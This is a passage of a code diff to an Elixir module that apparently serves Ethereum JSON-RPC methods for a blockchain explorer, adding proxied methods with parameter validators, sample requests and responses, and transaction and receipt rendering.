"0x60806040523661001357610011610017565b005b6100115b610027610022610067565b61009f565b565b606061004e838360405180606001604052806027815260200161026b602791396100c3565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100be573d6000f35b3d6000fd5b6060600080856001600160a01b0316856040516100e0919061021b565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b50915091506101318683838761013b565b9695505050505050565b606083156101af5782516000036101a8576001600160a01b0385163b6101a85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b50816101b9565b6101b983836101c1565b949350505050565b8151156101d15781518083602001fd5b8060405162461bcd60e51b815260040161019f9190610237565b60005b838110156102065781810151838201526020016101ee565b83811115610215576000848401525b50505050565b6000825161022d8184602087016101eb565b9190910192915050565b60208152600082518060208401526102568160408501602087016101eb565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220ef6e0977d993c1b69ec75a2f9fd6a53122d4ad4f9d71477641195afb6a6a45dd64736f6c634300080f0033", + "id": 0 + } + """ + }, + "eth_getStorageAt" => %{ + arity: 3, + params_validators: [&address_hash_validator/1, &integer_validator/1, &block_validator/1], + example: """ + {"jsonrpc":"2.0","id":4,"method":"eth_getStorageAt","params":["0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F", "0x", "latest"]} + """, + result: """ + { + "jsonrpc": "2.0", + "result": "0x0000000000000000000000000000000000000000000000000000000000000000", + "id": 4 + } + """ + }, + "eth_estimateGas" => %{ + arity: 2, + params_validators: [ð_call_validator/1, &block_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_estimateGas","params":[{"to": "0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F", "input": "0xd4aae0c4", "from": "0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F"}, "latest"]} + """, + result: """ + { + "jsonrpc": "2.0", + "result": "0x5bb6", + "id": 0 + } + """ + }, + "eth_getBlockByNumber" => %{ + arity: 2, + params_validators: [&block_validator/1, &bool_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_getBlockByNumber","params":["latest", false]} + """, + result: """ + { + "jsonrpc": "2.0", + "result": { + "baseFeePerGas": "0x7", + "blobGasUsed": "0x0", + "difficulty": "0x0", + "excessBlobGas": "0x4bc0000", + "extraData": "0xd883010d0a846765746888676f312e32312e35856c696e7578", + "gasLimit": "0x1c9c380", + "gasUsed": "0x29b80d", + "hash": "0xbc2e3a9caf7364d306fe4af34d2e9f0a3d478ed1a8e135bf7cd0845646c858f5", + "logsBloom": "0x022100021800180480000040e0008004001044020100000204080000a20001100100100002000802c00020194040204000020010000200400000020004212000804100a4242020041800108d0228082402000040090000c80001040080000080000600000224a0b00000d88000004803000000220008014000204010100040008000804408000004200000250010400004001481a80001080080404104114040032000307022969010004000840040000322400002010108490180088040205030055002481208004903100400070000104000002008001008080010002020001818002020a04000501101080000000000201004000001400040880000000000", + "miner": "0x94750381be1aba0504c666ee1db118f68f0780d4", + "mixHash": "0xd6b01921b81abdec5eccc9f5e17246be9dfec6d3bdbf59503bdeee2db3f97a57", + "nonce": "0x0000000000000000", + "number": "0xa0ff94", + "parentBeaconBlockRoot": "0xbd4670ba8503146561cb96962185fc251e2040eed07fccc749a26b8edbfd2d1c", + "parentHash": "0x7d4de3172a22e4549b28492ab9ffe6b5bf050b82d2c9b744133657aa7ae4385d", + "receiptsRoot": "0x13ae8ce96a643074f94bc1358b1ac1a3e3660856df943b9c6b60d499386e580d", + "sha3Uncles": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "size": "0x2d07", + "stateRoot": "0x68510947af6edb94d0d1852d881589001318872b5bad832006c569e1a4f26871", + "timestamp": "0x65d07350", + "totalDifficulty": "0xa4a470", + "transactions": [ + "0xa3bb1b7bb5ee2d04114d47bbca1d8597c390e7c8ccfe04b5bfe96f6dfe897ec7", + "0xb6f680d4ba7e258e5e306744e61be1abb9b6cd005eb9423badc0b3603eb4ad5c", + "0x3c97b4ee54827e95ebf915dafdba9059ba5f4013c0371d443fe934a644725c60", + "0xd91e6db89992030da48d92825220053b1ea39f6d8d619c0f3fbc9a9e059c903e", + "0xbf763dc0a81dd2ef44f19673f001de560bce4db1499b7c0461c208afd863a62c", + "0xadd61d6e79560df74dc72891b2b19c83586d7857e313c0fdea9edbe1bfb11866", + "0xc66df09eaefac0348f48ce9e3f79e27a537bc8f274c525dd884f285d5e05bf31", + "0x217a26e8e407638e68364c2edebdae35f2a55eae080caa9ab31be430247a06e7", + "0xcae598dde02f35993cc4dad6f431596d8326a69b8f6563156edc3e970d6736d6", + "0xcfa79201e7574bce217f3f790f99bee8e0af45cffcd75ad17a9742630664df3f", + "0xe1e9b3b32e1098b3e08786407043410a6142481c1076818341cb05d7ebb3aaa3", + "0x7ce2eb696fd7c60e443bfeeeb39c2011d968b7bcfa40c20613549963f11e30a6", + "0xb4b5db2b4397e89b068ca01fc1b6bf8494a7fcd60e39e7059baef2968e874ba4", + "0x877e4ce429f4b64a095e0648b5ee69c31591116a697d03fddc5ff069302c944d", + "0xa5b8f358a3210221551250369c8dc2584c79fb424af1dd134bdab3a125eb1ea8", + "0x1c1d3df874c3ff9b84195bfe0bd5dbd50677443ff9a429bd01de4a18ccaf9293", + "0x79be4e1a433f250a35b7898916a0611f957fb7ca522836354eebfa421b2c8c99", + "0xd1c7fc2537a6627d0056e70a23bf90f988eabc518a31cd3d7520ec4ca0f9f9f0", + "0xb8c0b577257a0a184bf53454b68ce612a7567bcce48a64ee10e8b3d899c6ee16", + "0x26e81d1ba0109e5f50da13cb03d70a4fd5ffc97a0dad8e0c33fa7a8856db1480", + "0x4667088b1ab61818ebd08810a354dbe2f1ce9a4cb3f735aa692efcc8f15c7e5f" + ], + "transactionsRoot": "0x9d4d5a21e9ae6294a2a197c6d051a184c109882a7f74b7e63aaf3e64e4a77a33", + "uncles": [], + "withdrawals": [ + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x13d378", + "index": "0x1cdf824", + "validatorIndex": "0xa6d24" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x124012", + "index": "0x1cdf825", + "validatorIndex": "0xa6d25" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x175e6f", + "index": "0x1cdf826", + "validatorIndex": "0xa6d26" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x16b5fe", + "index": "0x1cdf827", + "validatorIndex": "0xa6d27" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x1660d2", + "index": "0x1cdf828", + "validatorIndex": "0xa6d28" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x145405", + "index": "0x1cdf829", + "validatorIndex": "0xa6d29" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x16246d", + "index": "0x1cdf82a", + "validatorIndex": "0xa6d2a" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x14a5a1", + "index": "0x1cdf82b", + "validatorIndex": "0xa6d2b" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x142199", + "index": "0x1cdf82c", + "validatorIndex": "0xa6d2c" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x182250", + "index": "0x1cdf82d", + "validatorIndex": "0xa6d2d" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x18b97e", + "index": "0x1cdf82e", + "validatorIndex": "0xa6d2e" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x151536", + "index": "0x1cdf82f", + "validatorIndex": "0xa6d2f" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x14bc4a", + "index": "0x1cdf830", + "validatorIndex": "0xa6d30" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x162f06", + "index": "0x1cdf831", + "validatorIndex": "0xa6d31" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x13563b", + "index": "0x1cdf832", + "validatorIndex": "0xa6d32" + }, + { + "address": "0x46e77b9485b13b4d401dac9ad3f59700a5200aeb", + "amount": "0x148d8b", + "index": "0x1cdf833", + "validatorIndex": "0xa6d33" + } + ], + "withdrawalsRoot": "0xc6a4b2cace2cc78c3a304731165b848e455fc7a3bf876837048cb4974a62c25f" + }, + "id": 0 + } + """ + }, + "eth_getBlockByHash" => %{ + arity: 2, + params_validators: [&hash_validator/1, &bool_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_getBlockByHash","params":["0x2980314632a35ff83ef1f26a2a972259dca49353ed9368a04f21bcd7a5512231", false]} + """, + result: """ + { + "jsonrpc": "2.0", + "id": 0, + "result": { + "baseFeePerGas": "0x7", + "blobGasUsed": "0xc0000", + "difficulty": "0x0", + "excessBlobGas": "0x4b40000", + "extraData": "0x496c6c756d696e61746520446d6f63726174697a6520447374726962757465", + "gasLimit": "0x1c9c380", + "gasUsed": "0x2ff140", + "hash": "0x2980314632a35ff83ef1f26a2a972259dca49353ed9368a04f21bcd7a5512231", + "logsBloom": "0x40200000202018800808200040082040800001000040000000200984800600000200000000000810000020014000200028000000200000010530034004202010000440800d00a0000100000800000820020100009040808c80004000000040000017000003040610800002002800081a405800080060140080004a100000000308220100000400020002000100004000040412020010020000018040000000010700804008040088108001020004110008026280800021824180002c00008200a01440120000223009022014801001120080000020080000090100020000281004102000802802a1820024000c00020008000290151802004000080000000804", + "miner": "0xb64a30399f7f6b0c154c2e7af0a3ec7b0a5b131a", + "mixHash": "0xe5cf393a9e4b40800fd4e4a1d2be0de08e7aabc83de5fd16ff719680d7a04253", + "nonce": "0x0000000000000000", + "number": "0xa21bc8", + "parentBeaconBlockRoot": "0xca280fd409ee503ae331931d64ee7fc29da9ed566cba6dfc4212a2f2f8004c41", + "parentHash": "0xc2fc3c51d15a2fe6f219079694865ffd9f8fe56e714d9bc49e9451e1c430acf9", + "receiptsRoot": "0x7941071eea76cec0eb4541854bd7820ef36c4d44ae51413063b45d9ea127313d", + "sha3Uncles": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "size": "0x34cf", + "stateRoot": "0xcff5056271c6e6f6bf04d2e82392fa3ebcf2bc4aca9fe8801edcfcc261ddb557", + "timestamp": "0x65e324a4", + "totalDifficulty": "0xa4a470", + "transactions": [ + "0x204c69c327e3202adba5cfb1e15b99e63fe104905e19a2359d827788f24b0579", + "0x2d07b3bc722c139ffe2ed6a32fc56e944569cc47511fef6e0351dc1da9a23562", + "0x87772fafc7eee41d723a2dcdf2ceaae3726d40a9588ae1f7802f03dce6902fbc", + "0x2e18d4a8bd9b4d0d70651097e44b25f29b4c013ff548ea6e5f3eb975b2bdfb78", + "0xf54ef7af503a7031dc01696339cfcfee3066979a63e3ed626c15bb8282273cea", + "0xb71201da6ad30304942a308e3a7666198394f1916accc9db72d03c1b508c8065", + "0xdc854518c44ae0c3fb80b8b9fdde5da72445552356f79bbfc45d7503a32a23f8", + "0x8b866e254a609a1a4163484cf330bdfc6c6a1878cd35dcc9fbfe2256f324a626", + "0xbc7448bf0c34c0a358ead13e8d3687cbccbbb7fe4048d005cb6648c897bc9254", + "0xa01733dc6d416a59d69fe17dc9d6960dbeb013b0dab2cd59b72cf84b371d19c1", + "0x1c194a1bca34deb14e93e9007de6f971856c43a65208393254f0b2e6f99deab3", + "0x9e9c8a6094300ed29a22892e87ab7fe33d19630ccdd85a0cce72ce6095d0c7da", + "0xa1d6c2fe6a937e437cda199cc0f6891727c0f3ca810a262fb3179fd961cb95c4", + "0xc4b55bada8c0c044f1e8bbd7fb57cd3a46844848e273720fc7bbc757d8e68665", + "0x8e971964ef06896d541d5cefef7cebc79d60d6746aae2fa39e954608e2c49824", + "0x6d120cf3998a767e567ef1b6615e5a14c380103b287c92d1da229cabc49ebb77", + "0x95d1b8d32a80809d79f4a0246e960fec11b59c07f1a33207485dda0b356b3c2c", + "0xa19b4b6372a9c8145e03d62e91536468169350790162508c0f07c66849fde86d", + "0x55348af743327b1377082b9fccddfcdefe7300b65e7ed32575c09d881ece711d", + "0xaaf03a35d70aa96582889565d1211e32fc395c9e63ce82d25cc23518e38aa4bc", + "0x85054ea8eddd5b1e8d010f8aac77693484c5863d3355756a64bd0225124c8fca" + ], + "transactionsRoot": "0x22309b0cc7df445160ca2c6ca344e63296231fad2e9322989477851d38c0eea0", + "uncles": [], + "withdrawals": [ + { + "index": "0x1dfb534", + "validatorIndex": "0xaef81", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1e2a5b" + }, + { + "index": "0x1dfb535", + "validatorIndex": "0xaef82", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1f9526" + }, + { + "index": "0x1dfb536", + "validatorIndex": "0xaef83", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1fa60c" + }, + { + "index": "0x1dfb537", + "validatorIndex": "0xaef84", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1e806a" + }, + { + "index": "0x1dfb538", + "validatorIndex": "0xaef85", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1eb4e4" + }, + { + "index": "0x1dfb539", + "validatorIndex": "0xaef86", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x2054a0" + }, + { + "index": "0x1dfb53a", + "validatorIndex": "0xaef87", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1d984a" + }, + { + "index": "0x1dfb53b", + "validatorIndex": "0xaef88", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1fa4d4" + }, + { + "index": "0x1dfb53c", + "validatorIndex": "0xaef89", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x203a98" + }, + { + "index": "0x1dfb53d", + "validatorIndex": "0xaef8a", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1fec28" + }, + { + "index": "0x1dfb53e", + "validatorIndex": "0xaef8b", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x2025a5" + }, + { + "index": "0x1dfb53f", + "validatorIndex": "0xaef8c", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1fdb08" + }, + { + "index": "0x1dfb540", + "validatorIndex": "0xaef8d", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x200a11" + }, + { + "index": "0x1dfb541", + "validatorIndex": "0xaef8e", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1f03d5" + }, + { + "index": "0x1dfb542", + "validatorIndex": "0xaef8f", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x200804" + }, + { + "index": "0x1dfb543", + "validatorIndex": "0xaef90", + "address": "0xe2e336478e97bfd6a84c0e246f1b8695dd4e990d", + "amount": "0x1dd0bb" + } + ], + "withdrawalsRoot": "0xcba66455c17861d36575f98adedc90b1fc56bbef7982992cab6914528dbd0100" + } + } + """ + }, + "eth_sendRawTransaction" => %{ + arity: 1, + params_validators: [&hex_data_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_sendRawTransaction","params":["0xd46e8dd67c5d32be8d46e8dd67c5d32be8058bb8eb970870f072445675058bb8eb970870f072445675"]} + """, + result: """ + { + "jsonrpc": "2.0", + "id": 0, + "result": "0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d1527331" + } + """ + }, + "eth_call" => %{ + arity: 2, + params_validators: [ð_call_validator/1, &block_validator/1], + example: """ + {"jsonrpc":"2.0","id": 0,"method":"eth_call","params":[{"to": "0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F", "input": "0xd4aae0c4", "from": "0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F"}, "latest"]} + """, + result: """ + { + "jsonrpc": "2.0", + "result": "0x0000000000000000000000001dd91b354ebd706ab3ac7c727455c7baa164945a", + "id": 0 + } + """ } } @@ -94,18 +659,125 @@ defmodule Explorer.EthRPC do 3 => "fourth" } + @incorrect_number_of_params "Incorrect number of params." + + @spec responses([map()]) :: [map()] def responses(requests) do - Enum.map(requests, fn request -> - with {:id, {:ok, id}} <- {:id, Map.fetch(request, "id")}, + requests = + requests + |> Enum.with_index() + + proxy_requests = + requests + |> Enum.reduce(%{}, fn {request, index}, acc -> + case proxy_method?(request) do + true -> + Map.put(acc, index, request) + + {:error, _reason} = error -> + Map.put(acc, index, error) + + false -> + acc + end + end) + |> json_rpc() + + Enum.map(requests, fn {request, index} -> + with {:proxy, nil} <- {:proxy, proxy_requests[index]}, + {:id, {:ok, id}} <- {:id, Map.fetch(request, "id")}, {:request, {:ok, result}} <- {:request, do_eth_request(request)} do format_success(result, id) else {:id, :error} -> format_error("id is a required field", 0) {:request, {:error, message}} -> format_error(message, Map.get(request, "id")) + {:proxy, {:error, message}} -> format_error(message, Map.get(request, "id")) + {:proxy, %{result: result}} -> format_success(result, Map.get(request, "id")) + {:proxy, %{error: error}} -> format_error(error, Map.get(request, "id")) end end) end + defp proxy_method?(%{"jsonrpc" => "2.0", "method" => method, "params" => params, "id" => id}) + when is_list(params) and (is_number(id) or is_binary(id) or is_nil(id)) do + with method_definition when not is_nil(method_definition) <- @proxy_methods[method], + {:arity, true} <- {:arity, method_definition[:arity] == length(params)}, + :ok <- validate_params(method_definition[:params_validators], params) do + true + else + {:error, _reason} = error -> + error + + {:arity, false} -> + {:error, @incorrect_number_of_params} + + _ -> + false + end + end + + defp proxy_method?(_), do: false + + defp validate_params(validators, params) do + validators + |> Enum.zip(params) + |> Enum.reduce_while(:ok, fn + {validator_func, param}, :ok -> + {:cont, validator_func.(param)} + + _, error -> + {:halt, error} + end) + end + + defp json_rpc(map) when is_map(map) do + to_request = + Enum.flat_map(Map.values(map), fn + {:error, _} -> + [] + + map when is_map(map) -> + [request_to_elixir(map)] + end) + + with [_ | _] = to_request <- to_request, + {:ok, responses} <- + EthereumJSONRPC.json_rpc(to_request, Application.get_env(:explorer, :json_rpc_named_arguments)) do + {map, []} = + Enum.map_reduce(map, responses, fn + {_index, {:error, _}} = elem, responses -> + {elem, responses} + + {index, _request}, [response | other_responses] -> + {{index, response}, other_responses} + end) + + Enum.into(map, %{}) + else + [] -> + map + + {:error, _reason} = error -> + map + |> Enum.map(fn + {_index, {:error, _}} = elem -> + elem + + {index, _request} -> + {index, error} + end) + |> Enum.into(%{}) + end + end + + defp request_to_elixir(%{"jsonrpc" => json_rpc, "method" => method, "params" => params, "id" => id}) do + %{jsonrpc: json_rpc, method: method, params: params, id: id} + end + + @doc """ + Handles `eth_blockNumber` method + """ + @spec eth_block_number() :: {:ok, String.t()} def eth_block_number do max_block_number = BlockNumber.get_max() @@ -116,6 +788,10 @@ defmodule Explorer.EthRPC do {:ok, max_block_number_hex} end + @doc """ + Handles `eth_getBalance` method + """ + @spec eth_get_balance(String.t(), String.t() | nil) :: {:ok, String.t()} | {:error, String.t()} def eth_get_balance(address_param, block_param \\ nil) do with {:address, {:ok, address}} <- {:address, Chain.string_to_address_hash(address_param)}, {:block, {:ok, block}} <- {:block, block_param(block_param)}, @@ -133,6 +809,227 @@ defmodule Explorer.EthRPC do end end + @doc """ + Handles `eth_gasPrice` method + """ + @spec eth_gas_price() :: {:ok, String.t()} | {:error, String.t()} + def eth_gas_price do + case GasPriceOracle.get_gas_prices() do + {:ok, gas_prices} -> + {:ok, Wei.hex_format(gas_prices[:average][:wei])} + + _ -> + {:error, @nil_gas_price_message} + end + end + + @doc """ + Handles `eth_maxPriorityFeePerGas` method + """ + @spec eth_max_priority_fee_per_gas() :: {:ok, String.t()} | {:error, String.t()} + def eth_max_priority_fee_per_gas do + case GasPriceOracle.get_gas_prices() do + {:ok, gas_prices} -> + {:ok, Wei.hex_format(gas_prices[:average][:priority_fee_wei])} + + _ -> + {:error, @nil_gas_price_message} + end + end + + @doc """ + Handles `eth_chainId` method + """ + @spec eth_chain_id() :: {:ok, String.t() | nil} + def eth_chain_id do + {:ok, chain_id()} + end + + @doc """ + Handles `eth_getTransactionByHash` method + """ + @spec eth_get_transaction_by_hash(String.t()) :: {:ok, map() | nil} | {:error, String.t()} + def eth_get_transaction_by_hash(transaction_hash_string) do + necessity_by_association = + %{signed_authorizations: :optional} + |> Map.merge(chain_type_transaction_necessity_by_association()) + + validate_and_render_transaction(transaction_hash_string, &render_transaction/1, + api?: true, + necessity_by_association: necessity_by_association + ) + end + + defp render_transaction(transaction) do + result = + %{ + "blockHash" => transaction.block_hash, + "blockNumber" => encode_quantity(transaction.block_number), + "from" => transaction.from_address_hash, + "gas" => encode_quantity(transaction.gas), + "gasPrice" => transaction.gas_price |> Wei.to(:wei) |> encode_quantity(), + "hash" => transaction.hash, + "input" => transaction.input, + "nonce" => encode_quantity(transaction.nonce), + "to" => transaction.to_address_hash, + "transactionIndex" => encode_quantity(transaction.index), + "value" => transaction.value |> Wei.to(:wei) |> encode_quantity(), + "type" => encode_quantity(transaction.type) || "0x0", + "chainId" => chain_id(), + "v" => encode_quantity(transaction.v), + "r" => encode_quantity(transaction.r), + "s" => encode_quantity(transaction.s) + } + |> maybe_add_eip_1559_fields(transaction) + |> maybe_add_y_parity(transaction) + |> maybe_add_signed_authorizations(transaction) + |> maybe_add_chain_type_extra_transaction_info_properties(transaction) + |> maybe_add_access_list(transaction) + + {:ok, result} + end + + @doc """ + Handles `eth_getTransactionReceipt` method + """ + @spec eth_get_transaction_receipt(String.t()) :: {:ok, map() | nil} | {:error, String.t()} + def eth_get_transaction_receipt(transaction_hash_string) do + necessity_by_association = + %{block: :optional, logs: :optional} + |> Map.merge(chain_type_transaction_necessity_by_association()) + + validate_and_render_transaction(transaction_hash_string, &render_transaction_receipt/1, + api?: true, + necessity_by_association: necessity_by_association + ) + end + + defp chain_type_transaction_necessity_by_association do + if Application.get_env(:explorer, :chain_type) == :ethereum do + %{:beacon_blob_transaction => :optional} + else + %{} + end + end + + defp render_transaction_receipt(transaction) do + {:ok, status} = Status.dump(transaction.status) + + props = + %{ + "blockHash" => transaction.block_hash, + "blockNumber" => encode_quantity(transaction.block_number), + "contractAddress" => transaction.created_contract_address_hash, + "cumulativeGasUsed" => encode_quantity(transaction.cumulative_gas_used), + "effectiveGasPrice" => + (transaction.gas_price || transaction |> Transaction.effective_gas_price()) + |> Wei.to(:wei) + |> encode_quantity(), + "from" => transaction.from_address_hash, + "gasUsed" => encode_quantity(transaction.gas_used), + "logs" => Enum.map(transaction.logs, &render_log(&1, transaction)), + "logsBloom" => "0x" <> (transaction.logs |> BloomFilter.logs_bloom() |> Base.encode16(case: :lower)), + "status" => encode_quantity(status), + "to" => transaction.to_address_hash, + "transactionHash" => transaction.hash, + "transactionIndex" => encode_quantity(transaction.index), + "type" => encode_quantity(transaction.type) || "0x0" + } + |> maybe_add_chain_type_extra_receipt_properties(transaction) + + {:ok, props} + end + + defp maybe_add_eip_1559_fields(props, %Transaction{ + max_fee_per_gas: max_fee_per_gas, + max_priority_fee_per_gas: max_priority_fee_per_gas + }) + when not is_nil(max_fee_per_gas) and not is_nil(max_priority_fee_per_gas) do + props + |> Map.put("maxFeePerGas", max_fee_per_gas |> Wei.to(:wei) |> encode_quantity()) + |> Map.put("maxPriorityFeePerGas", max_priority_fee_per_gas |> Wei.to(:wei) |> encode_quantity()) + end + + defp maybe_add_eip_1559_fields(props, _), do: props + + # yParity shouldn't be added for legacy (type 0) and is_nil(type) transactions + defp maybe_add_y_parity(props, %Transaction{type: type, v: v}) when not is_nil(type) and type > 0 do + props + |> Map.put("yParity", encode_quantity(v)) + end + + defp maybe_add_y_parity(props, %Transaction{type: _type}), do: props + + defp maybe_add_signed_authorizations(props, %Transaction{type: 4, signed_authorizations: signed_authorizations}) do + prepared_signed_authorizations = + signed_authorizations + |> Enum.map(fn signed_authorization -> + %{ + "chainId" => String.downcase(integer_to_quantity(signed_authorization.chain_id)), + "nonce" => Helper.integer_to_hex(Decimal.to_integer(signed_authorization.nonce)), + "address" => to_string(signed_authorization.address), + "r" => Helper.decimal_to_hex(signed_authorization.r), + "s" => Helper.decimal_to_hex(signed_authorization.s), + "yParity" => Helper.integer_to_hex(signed_authorization.v) + } + end) + + props + |> Map.put("authorizationList", prepared_signed_authorizations) + end + + defp maybe_add_signed_authorizations(props, %Transaction{type: 4}) do + props + |> Map.put("authorizationList", []) + end + + defp maybe_add_signed_authorizations(props, _transaction), do: props + + defp maybe_add_access_list(props, %Transaction{type: type}) when not is_nil(type) and type > 0 do + props + |> Map.put("accessList", []) + end + + defp maybe_add_access_list(props, _transaction), do: props + + defp maybe_add_chain_type_extra_transaction_info_properties(props, %{beacon_blob_transaction: beacon_blob_transaction}) do + if Application.get_env(:explorer, :chain_type) == :ethereum && beacon_blob_transaction do + props + |> Map.put("maxFeePerBlobGas", Helper.decimal_to_hex(beacon_blob_transaction.max_fee_per_blob_gas)) + |> Map.put("blobVersionedHashes", beacon_blob_transaction.blob_versioned_hashes) + else + props + end + end + + defp maybe_add_chain_type_extra_transaction_info_properties(props, _transaction), do: props + + defp maybe_add_chain_type_extra_receipt_properties(props, %{beacon_blob_transaction: beacon_blob_transaction}) do + if Application.get_env(:explorer, :chain_type) == :ethereum && beacon_blob_transaction do + props + |> Map.put("blobGasPrice", Helper.decimal_to_hex(beacon_blob_transaction.blob_gas_price)) + |> Map.put("blobGasUsed", Helper.decimal_to_hex(beacon_blob_transaction.blob_gas_used)) + else + props + end + end + + defp maybe_add_chain_type_extra_receipt_properties(props, _transaction), do: props + + defp validate_and_render_transaction(transaction_hash_string, render_func, params) do + with {:transaction_hash, {:ok, transaction_hash}} <- + {:transaction_hash, Chain.string_to_full_hash(transaction_hash_string)}, + {:transaction, {:ok, transaction}} <- {:transaction, Chain.hash_to_transaction(transaction_hash, params)} do + render_func.(transaction) + else + {:transaction_hash, :error} -> + {:error, "Transaction hash is invalid"} + + {:transaction, _} -> + {:ok, nil} + end + end + def eth_get_logs(filter_options) do with {:ok, address_or_topic_params} <- address_or_topic_params(filter_options), {:ok, from_block_param, to_block_param} <- logs_blocks_filter(filter_options), @@ -143,7 +1040,6 @@ defmodule Explorer.EthRPC do address_or_topic_params |> Map.put(:from_block, from_block) |> Map.put(:to_block, to_block) - |> Map.put(:allow_non_consensus, true) logs = filter @@ -164,27 +1060,58 @@ defmodule Explorer.EthRPC do end defp render_log(log) do - topics = - Enum.reject( - [log.first_topic, log.second_topic, log.third_topic, log.fourth_topic], - &is_nil/1 - ) + topics = prepare_topics(log) %{ "address" => to_string(log.address_hash), "blockHash" => to_string(log.block_hash), - "blockNumber" => Integer.to_string(log.block_number, 16), + "blockNumber" => + log.block_number + |> encode_quantity(), "data" => to_string(log.data), - "logIndex" => Integer.to_string(log.index, 16), + "logIndex" => + log.index + |> encode_quantity(), "removed" => log.block_consensus == false, "topics" => topics, "transactionHash" => to_string(log.transaction_hash), - "transactionIndex" => log.transaction_index, - "transactionLogIndex" => log.index, - "type" => "mined" + "transactionIndex" => + log.transaction_index + |> encode_quantity() } end + defp render_log(log, transaction) do + topics = prepare_topics(log) + + %{ + "address" => log.address_hash, + "blockHash" => log.block_hash, + "blockNumber" => encode_quantity(log.block_number), + "data" => log.data, + "logIndex" => encode_quantity(log.index), + "removed" => transaction_consensus(transaction) == false, + "topics" => topics, + "transactionHash" => log.transaction_hash, + "transactionIndex" => encode_quantity(transaction.index) + } + end + + defp transaction_consensus(transaction) do + if DenormalizationHelper.transactions_denormalization_finished?() do + transaction.block_consensus + else + transaction.block.consensus + end + end + + defp prepare_topics(log) do + Enum.reject( + [log.first_topic, log.second_topic, log.third_topic, log.fourth_topic], + &is_nil/1 + ) + end + defp cast_block("0x" <> hexadecimal_digits = input) do case Integer.parse(hexadecimal_digits, 16) do {integer, ""} -> {:ok, integer} @@ -269,20 +1196,16 @@ defmodule Explorer.EthRPC do from_block = Map.get(filters, "fromBlock", "latest") to_block = Map.get(filters, "toBlock", "latest") - max_block_number = - if from_block == "latest" || to_block == "latest" do - max_consensus_block_number() - end + if from_block == "latest" || to_block == "latest" || from_block == "pending" || to_block == "pending" do + max_block_number = max_consensus_block_number() - pending_block_number = - if from_block == "pending" || to_block == "pending" do - max_non_consensus_block_number(max_block_number) + if is_nil(max_block_number) do + {:error, :empty} + else + to_block_numbers(from_block, to_block, max_block_number) end - - if is_nil(pending_block_number) && from_block == "pending" && to_block == "pending" do - {:error, :empty} else - to_block_numbers(from_block, to_block, max_block_number, pending_block_number) + to_block_numbers(from_block, to_block, nil) end {:block, _} -> @@ -296,17 +1219,14 @@ defmodule Explorer.EthRPC do defp paging_options(%{ "paging_options" => %{ "logIndex" => log_index, - "transactionIndex" => transaction_index, "blockNumber" => block_number } - }) - when is_integer(transaction_index) do + }) do with {:ok, parsed_block_number} <- to_number(block_number, "invalid block number"), {:ok, 